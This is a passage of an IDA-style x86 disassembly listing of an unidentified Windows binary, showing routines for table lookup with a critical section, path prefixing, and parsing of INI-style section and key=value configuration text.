		jnz	loc_4157B2
		mov	eax, ds:dword_424888
		mov	eax, [eax+21Ch]
		mov	ecx, ds:dword_424888
		lea	eax, [ecx+eax+114h]
		mov	[ebp+var_24], eax
		mov	edi, [ebp+var_24]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_34], 1
		mov	eax, ds:dword_424888
		mov	eax, [eax+0Ch]
		mov	[ebp+var_28], eax
		and	[ebp+var_2C], 0


loc_41564A:				; CODE XREF: sub_41553D:loc_4156EAj
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		ja	loc_4156EF
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_28]
		shr	eax, 1
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_40]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	[ebp+var_38], eax
		push	[ebp+var_30]
		mov	eax, [ebp+var_38]
		push	dword ptr [eax]
		push	[ebp+var_24]
		call	sub_4105F0
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jnz	short loc_4156D4
		mov	eax, [ebp+var_38]
		mov	eax, [eax]
		mov	ecx, [ebp+var_30]
		movsx	eax, byte ptr [eax+ecx]
		test	eax, eax
		jz	short loc_4156B4
		mov	eax, [ebp+var_38]
		mov	eax, [eax]
		mov	ecx, [ebp+var_30]
		movsx	eax, byte ptr [eax+ecx]
		cmp	eax, 5Ch
		jnz	short loc_4156CB


loc_4156B4:				; CODE XREF: sub_41553D+164j
		mov	eax, [ebp+var_40]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156CB:				; CODE XREF: sub_41553D+175j
		mov	eax, [ebp+var_40]
		dec	eax
		mov	[ebp+var_28], eax
		jmp	short loc_4156EA
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_41553D+154j
		cmp	[ebp+var_3C], 0
		jle	short loc_4156E3
		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_34], eax
		jmp	short loc_4156EA
; ---------------------------------------------------------------------------


loc_4156E3:				; CODE XREF: sub_41553D+19Bj
		mov	eax, [ebp+var_40]
		dec	eax
		mov	[ebp+var_28], eax


loc_4156EA:				; CODE XREF: sub_41553D+195j
					; sub_41553D+1A4j
		jmp	loc_41564A
; ---------------------------------------------------------------------------


loc_4156EF:				; CODE XREF: sub_41553D+113j
					; sub_41553D+18Cj
		cmp	[ebp+var_2C], 0
		jz	loc_4157AD
		cmp	[ebp+arg_4], 0
		jz	short loc_415707
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx


loc_415707:				; CODE XREF: sub_41553D+1C0j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_50], eax


loc_415717:				; CODE XREF: sub_41553D+20Cj
		mov	eax, [ebp+var_50]
		mov	al, [eax]
		mov	[ebp+var_51], al
		mov	ecx, [ebp+var_4C]
		cmp	al, [ecx]
		jnz	short loc_415751
		cmp	[ebp+var_51], 0
		jz	short loc_41574B
		mov	eax, [ebp+var_50]
		mov	al, [eax+1]
		mov	[ebp+var_52], al
		mov	ecx, [ebp+var_4C]
		cmp	al, [ecx+1]
		jnz	short loc_415751
		add	[ebp+var_50], 2
		add	[ebp+var_4C], 2
		cmp	[ebp+var_52], 0
		jnz	short loc_415717


loc_41574B:				; CODE XREF: sub_41553D+1EDj
		and	[ebp+var_58], 0
		jmp	short loc_415759
; ---------------------------------------------------------------------------


loc_415751:				; CODE XREF: sub_41553D+1E7j
					; sub_41553D+1FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_58], eax


loc_415759:				; CODE XREF: sub_41553D+212j
		mov	eax, [ebp+var_58]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jnz	short loc_41576D
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		jmp	short loc_415773
; ---------------------------------------------------------------------------


loc_41576D:				; CODE XREF: sub_41553D+226j
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	1


loc_415773:				; CODE XREF: sub_41553D+22Ej
		cmp	[ebp+arg_C], 0
		jz	short loc_415792
		push	0
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_415792:				; CODE XREF: sub_41553D+23Aj
		push	0FFFFFFFFh
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_60], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_60]
		jmp	loc_415856
; ---------------------------------------------------------------------------


loc_4157AD:				; CODE XREF: sub_41553D+1B6j
		jmp	loc_41583D
; ---------------------------------------------------------------------------


loc_4157B2:				; CODE XREF: sub_41553D+C6j
		push	[ebp+var_1C]
		call	sub_41C106
		pop	ecx
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jz	short loc_41583D
		mov	eax, ds:dword_424888
		mov	eax, [eax+8]
		cmp	eax, [ebp+var_44]
		ja	short loc_41583D
		mov	eax, ds:dword_424888
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		add	ecx, eax
		cmp	[ebp+var_44], ecx
		jnb	short loc_41583D
		mov	eax, [ebp+var_44]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		cmp	[ebp+arg_C], 0
		jz	short loc_415817
		push	0
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_415817:				; CODE XREF: sub_41553D+2BFj
		cmp	[ebp+arg_4], 0
		jz	short loc_415825
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx


loc_415825:				; CODE XREF: sub_41553D+2DEj
		push	0FFFFFFFFh
		mov	eax, [ebp+var_44]
		mov	[ebp+var_64], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
		jmp	short loc_415856
; ---------------------------------------------------------------------------


loc_41583D:				; CODE XREF: sub_41553D+78j
					; sub_41553D:loc_4157ADj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_415848
		jmp	short loc_415854
sub_41553D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415848	proc near		; CODE XREF: sub_41553D+304p
					; DATA XREF: _4:004213D8o
		push	offset dword_424848
		call	ds:dword_4246D4	; RtlLeaveCriticalSection
		retn
sub_415848	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41553D


loc_415854:				; CODE XREF: sub_41553D+309j
		xor	eax, eax


loc_415856:				; CODE XREF: sub_41553D+3Cj
					; sub_41553D+26Bj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_41553D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415867	proc near		; CODE XREF: sub_4191AB+3Dp
					; sub_41D7FD+29p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00415934 SIZE 00000043 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213E0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_30]
		call	sub_41553D
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	loc_415934
		cmp	[ebp+arg_0], 0
		jz	short loc_415934
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_30]
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		mov	edx, edi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_24], edx
		and	[ebp+var_4], 0
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_41553D
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_415924
		jmp	short loc_415934
sub_415867	endp


; =============== S U B	R O U T	I N E =======================================



sub_415924	proc near		; CODE XREF: sub_415867+B6p
					; DATA XREF: _4:004213E8o
		mov	eax, [ebp-24h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_41BACD
		pop	ecx
		retn
sub_415924	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415867


loc_415934:				; CODE XREF: sub_415867+43j
					; sub_415867+4Dj ...
		cmp	[ebp+var_1C], 0
		jz	short loc_415947
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_415947
		mov	eax, [ebp+var_1C]
		jmp	short loc_415966
; ---------------------------------------------------------------------------


loc_415947:				; CODE XREF: sub_415867+D1j
					; sub_415867+D9j
		cmp	[ebp+var_34], 0
		jz	short loc_415964
		cmp	[ebp+var_1C], 0
		jz	short loc_415964
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		push	[ebp+var_2C]
		call	sub_41BACD
		pop	ecx


loc_415964:				; CODE XREF: sub_415867+E4j
					; sub_415867+EAj
		xor	eax, eax


loc_415966:				; CODE XREF: sub_415867+DEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_415867

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415977	proc near		; CODE XREF: sub_4191AB+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], ecx
		and	[ebp+var_8], 0
		cmp	[ebp+var_24], 0
		jz	loc_415A50
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	loc_415A50
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jz	loc_415A50
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Ah
		jz	loc_415A50
		mov	edi, [ebp+var_24]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_14], ecx
		mov	eax, ds:dword_424888
		add	eax, 10h
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+218h]
		sub	ecx, eax
		mov	[ebp+var_10], ecx
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_14]
		lea	eax, [eax+ecx+104h]
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		mov	esi, ds:dword_424888
		add	esi, 10h
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_14]
		inc	ecx
		mov	esi, [ebp+var_24]
		mov	edi, [ebp+var_8]
		add	edi, [ebp+var_10]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax


loc_415A50:				; CODE XREF: sub_415977+17j
					; sub_415977+26j ...
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_41553D
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415AD6
		cmp	[ebp+arg_0], 0
		jz	short loc_415AD6
		cmp	[ebp+var_8], 0
		jnz	short loc_415A90
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax


loc_415A90:				; CODE XREF: sub_415977+FCj
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_8]
		call	sub_41553D
		mov	[ebp+var_4], eax


loc_415AD6:				; CODE XREF: sub_415977+F0j
					; sub_415977+F6j
		cmp	[ebp+var_4], 0
		jz	short loc_415B25
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	short loc_415B25
		cmp	[ebp+var_28], 0
		jz	short loc_415B11
		cmp	[ebp+var_8], 0
		jz	short loc_415AF8
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2C], eax
		jmp	short loc_415B07
; ---------------------------------------------------------------------------


loc_415AF8:				; CODE XREF: sub_415977+177j
		push	0
		push	[ebp+var_24]
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax


loc_415B07:				; CODE XREF: sub_415977+17Fj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx
		jmp	short loc_415B20
; ---------------------------------------------------------------------------


loc_415B11:				; CODE XREF: sub_415977+171j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_41BACD
		pop	ecx


loc_415B20:				; CODE XREF: sub_415977+198j
		mov	eax, [ebp+var_4]
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B25:				; CODE XREF: sub_415977+163j
					; sub_415977+16Bj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_41BACD
		pop	ecx
		xor	eax, eax


loc_415B36:				; CODE XREF: sub_415977+1ACj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_415977	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3D	proc near		; CODE XREF: sub_41DDE5+Ap
					; sub_41DE13+78p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		push	0
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_41553D
		leave
		retn
sub_415B3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B59	proc near		; CODE XREF: sub_41DF52+2Bp
					; sub_41DFF8+42p ...

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

; FUNCTION CHUNK AT 0041604B SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213F0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_34], 0
		and	[ebp+var_28], 0
		and	[ebp+var_38], 0
		and	[ebp+var_20], 0
		and	[ebp+var_30], 0
		and	[ebp+var_3C], 0
		and	[ebp+var_24], 0
		and	[ebp+var_48], 0
		and	[ebp+var_40], 0
		and	[ebp+var_44], 0
		and	[ebp+var_4], 0
		mov	ecx, [ebp+arg_10]
		xor	eax, eax
		mov	edi, [ebp+arg_C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	0
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	0
		push	[ebp+arg_14]
		call	sub_414344
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_2C]
		call	sub_414670
		mov	eax, [ebp+var_28]
		inc	eax
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_64]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_28]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_34]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	0
		push	0
		push	[ebp+var_28]
		push	[ebp+var_34]
		push	[ebp+var_2C]
		call	sub_415175
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax-1], 0Ah
		jmp	short loc_415C42
; ---------------------------------------------------------------------------


loc_415C3B:				; CODE XREF: sub_415B59:loc_416019j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax


loc_415C42:				; CODE XREF: sub_415B59+E0j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	loc_41601E


loc_415C4E:				; CODE XREF: sub_415B59+486j
					; sub_415B59+4BBj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Bh
		jnz	short loc_415C8D


loc_415C59:				; CODE XREF: sub_415B59+125j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	short loc_415C80
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_415C80
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_415C80
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415C59
; ---------------------------------------------------------------------------


loc_415C80:				; CODE XREF: sub_415B59+106j
					; sub_415B59+111j ...
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jnz	short loc_415C8D
		jmp	loc_41601E
; ---------------------------------------------------------------------------


loc_415C8D:				; CODE XREF: sub_415B59+FEj
					; sub_415B59+12Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Bh
		jnz	short loc_415CAB
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], 1
		jmp	loc_416019
; ---------------------------------------------------------------------------


loc_415CAB:				; CODE XREF: sub_415B59+13Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Dh
		jnz	loc_415D54


loc_415CBA:				; CODE XREF: sub_415B59+217j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		cmp	[ebp+var_24], 1
		jnz	loc_415D4F
		and	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_415D35
		mov	eax, [ebp+var_44]
		mov	[ebp+var_4C], eax
		mov	edi, [ebp+var_30]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jle	short loc_415D33
		push	[ebp+var_50]
		push	[ebp+var_30]
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_4C]
		push	eax
		call	sub_410630
		add	esp, 0Ch
		mov	eax, [ebp+var_50]
		cmp	eax, [ebp+var_54]
		jle	short loc_415D20
		mov	eax, [ebp+var_54]
		mov	[ebp+var_74], eax
		jmp	short loc_415D26
; ---------------------------------------------------------------------------


loc_415D20:				; CODE XREF: sub_415B59+1BDj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_74], eax


loc_415D26:				; CODE XREF: sub_415B59+1C5j
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_4C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_44], eax


loc_415D33:				; CODE XREF: sub_415B59+1A0j
		jmp	short loc_415D4F
; ---------------------------------------------------------------------------


loc_415D35:				; CODE XREF: sub_415B59+179j
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	ds:dword_424740	; lstrcmpi
		test	eax, eax
		jnz	short loc_415D4B
		mov	[ebp+var_48], 1
		jmp	short loc_415D4F
; ---------------------------------------------------------------------------


loc_415D4B:				; CODE XREF: sub_415B59+1EAj
		and	[ebp+var_48], 0


loc_415D4F:				; CODE XREF: sub_415B59+16Bj
					; sub_415B59:loc_415D33j ...
		jmp	loc_416019
; ---------------------------------------------------------------------------


loc_415D54:				; CODE XREF: sub_415B59+15Bj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_415D6A
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_415D81


loc_415D6A:				; CODE XREF: sub_415B59+204j
		cmp	[ebp+var_24], 1
		jnz	short loc_415D75
		jmp	loc_415CBA
; ---------------------------------------------------------------------------


loc_415D75:				; CODE XREF: sub_415B59+215j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax
		jmp	loc_416019
; ---------------------------------------------------------------------------


loc_415D81:				; CODE XREF: sub_415B59+20Fj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_416019
		cmp	[ebp+arg_0], 0
		jz	loc_415FE6
		mov	eax, [ebp+var_38]
		mov	byte ptr [eax],	20h


loc_415DA0:				; CODE XREF: sub_415B59+266j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 9
		jz	short loc_415DB8
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_415DC1


loc_415DB8:				; CODE XREF: sub_415B59+251j
		mov	eax, [ebp+var_38]
		dec	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415DA0
; ---------------------------------------------------------------------------


loc_415DC1:				; CODE XREF: sub_415B59+25Dj
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax


loc_415DCE:				; CODE XREF: sub_415B59+292j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 9
		jz	short loc_415DE4
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_415DED


loc_415DE4:				; CODE XREF: sub_415B59+27Ej
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415DCE
; ---------------------------------------------------------------------------


loc_415DED:				; CODE XREF: sub_415B59+289j
		cmp	[ebp+arg_4], 0
		jnz	loc_415F36
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	loc_415F31
		mov	eax, [ebp+var_44]
		mov	[ebp+var_58], eax
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		cmp	eax, [ebp+var_60]
		jge	short loc_415E34
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_78], eax
		jmp	short loc_415E3A
; ---------------------------------------------------------------------------


loc_415E34:				; CODE XREF: sub_415B59+2D1j
		mov	eax, [ebp+var_60]
		mov	[ebp+var_78], eax


loc_415E3A:				; CODE XREF: sub_415B59+2D9j
		mov	eax, [ebp+var_78]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_415E69
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
		mov	[ebp+var_58], eax


loc_415E69:				; CODE XREF: sub_415B59+2EBj
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax


loc_415E6F:				; CODE XREF: sub_415B59+33Cj
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_415E97
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_415E97
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_415E97
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415E6F
; ---------------------------------------------------------------------------


loc_415E97:				; CODE XREF: sub_415B59+31Dj
					; sub_415B59+328j ...
		movzx	eax, [ebp+arg_18]
		test	eax, eax
		jz	loc_415F23
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		cmp	[ebp+var_58], eax
		jnb	short loc_415EBD
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_58]
		mov	byte ptr [eax],	3Dh
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax


loc_415EBD:				; CODE XREF: sub_415B59+352j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_70]
		cmp	eax, [ebp+var_60]
		jge	short loc_415EEE
		mov	eax, [ebp+var_70]
		mov	[ebp+var_7C], eax
		jmp	short loc_415EF4
; ---------------------------------------------------------------------------


loc_415EEE:				; CODE XREF: sub_415B59+38Bj
		mov	eax, [ebp+var_60]
		mov	[ebp+var_7C], eax


loc_415EF4:				; CODE XREF: sub_415B59+393j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_415F23
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
